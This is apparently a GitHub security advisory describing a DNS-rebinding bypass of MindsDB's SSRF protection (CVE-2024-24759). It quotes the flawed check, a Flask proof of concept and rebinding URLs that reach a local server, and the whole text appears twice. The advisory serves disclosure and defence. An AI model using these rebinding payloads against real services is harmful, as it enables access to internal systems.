Headline
GHSA-4jcv-vp96-94xr: MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding
Summary
DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms
would be initially resolved to 190.119.176.200
and the next DNS issue to 127.0.0.1
. Please notice the following in the latest codebase:
def is_private_url(url: str):
"""
Raises exception if url is private
:param url: url to check
"""
hostname = urlparse(url).hostname
if not hostname:
# Unable to find hostname in url
return True
ip = socket.gethostbyname(hostname)
return ipaddress.ip_address(ip).is_private
As you can see, during the call to is_private_url()
the initial DNS query would be issued by ip = socket.gethostbyname(hostname)
to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.
PoC
from flask import Flask, request, jsonify
from urllib.parse import urlparse
import socket
import ipaddress
import requests
app = Flask(__name__)
def is_private_url(url: str):
"""
Raises exception if url is private
:param url: url to check
"""
hostname = urlparse(url).hostname
if not hostname:
# Unable to find hostname in url
return True
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
raise Exception(f"Private IP address found for {url}")
@app.route("/", methods=["GET"])
def index():
return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"
@app.route("/check_private_url", methods=["GET"])
def check_private_url():
url = request.args.get("url")
if not url:
return jsonify({"error": 'Missing "url" parameter'}), 400
try:
is_private_url(url)
response = requests.get(url)
return jsonify(
{
"url": url,
"is_private": False,
"text": response.text,
"status_code": response.status_code,
}
)
except Exception as e:
return jsonify({"url": url, "is_private": True, "error": str(e)})
if __name__ == "__main__":
app.run(debug=True)
After running the poc.py with flask installed, consider visiting the following URLs:
- http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get
is_private: false
and the GET request would be issued to the www.Example.com website. - http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get
is_private: true
- http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP
190.119.176.214
and then DNS rebind into the network location127.0.0.1:8667
.
I set up a simple HTTP server at 127.0.0.1:8667
, you can notice the results of the PoC in the next screenshot:
{
"is_private": false,
"status_code": 200,
"text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n",
"url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/"
}
Impact
- Bypass the SSRF protection on the whole website with DNS Rebinding.
- DoS too.
Summary
DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:
def is_private_url(url: str): “"” Raises exception if url is private :param url: url to check “"”
hostname \= urlparse(url).hostname
if not hostname:
\# Unable to find hostname in url
return True
ip \= socket.gethostbyname(hostname)
return ipaddress.ip\_address(ip).is\_private
As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.
PoC
from flask import Flask, request, jsonify from urllib.parse import urlparse import socket import ipaddress import requests
app = Flask(__name__)
def is_private_url(url: str): “"” Raises exception if url is private :param url: url to check “"”
hostname \= urlparse(url).hostname
if not hostname:
\# Unable to find hostname in url
return True
ip \= socket.gethostbyname(hostname)
if ipaddress.ip\_address(ip).is\_private:
raise Exception(f"Private IP address found for {url}")
@app.route("/", methods=[“GET”]) def index(): return “http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr”
@app.route("/check_private_url", methods=[“GET”]) def check_private_url(): url = request.args.get(“url”)
if not url:
return jsonify({"error": 'Missing "url" parameter'}), 400
try:
is\_private\_url(url)
response \= requests.get(url)
return jsonify(
{
"url": url,
"is\_private": False,
"text": response.text,
"status\_code": response.status\_code,
}
)
except Exception as e:
return jsonify({"url": url, "is\_private": True, "error": str(e)})
if __name__ == "__main__": app.run(debug=True)
After running the poc.py with flask installed, consider visiting the following URLs:
- http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get is_private: false and the GET request would be issued to the www.Example.com website.
- http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get is_private: true
- http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.
I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:
{
"is_private": false,
"status_code": 200,
"text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n",
"url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/"
}
Impact
- Bypass the SSRF protection on the whole website with DNS Rebinding.
- DoS too.
References
- GHSA-4jcv-vp96-94xr
- mindsdb/mindsdb@5f74964
- https://nvd.nist.gov/vuln/detail/CVE-2024-24759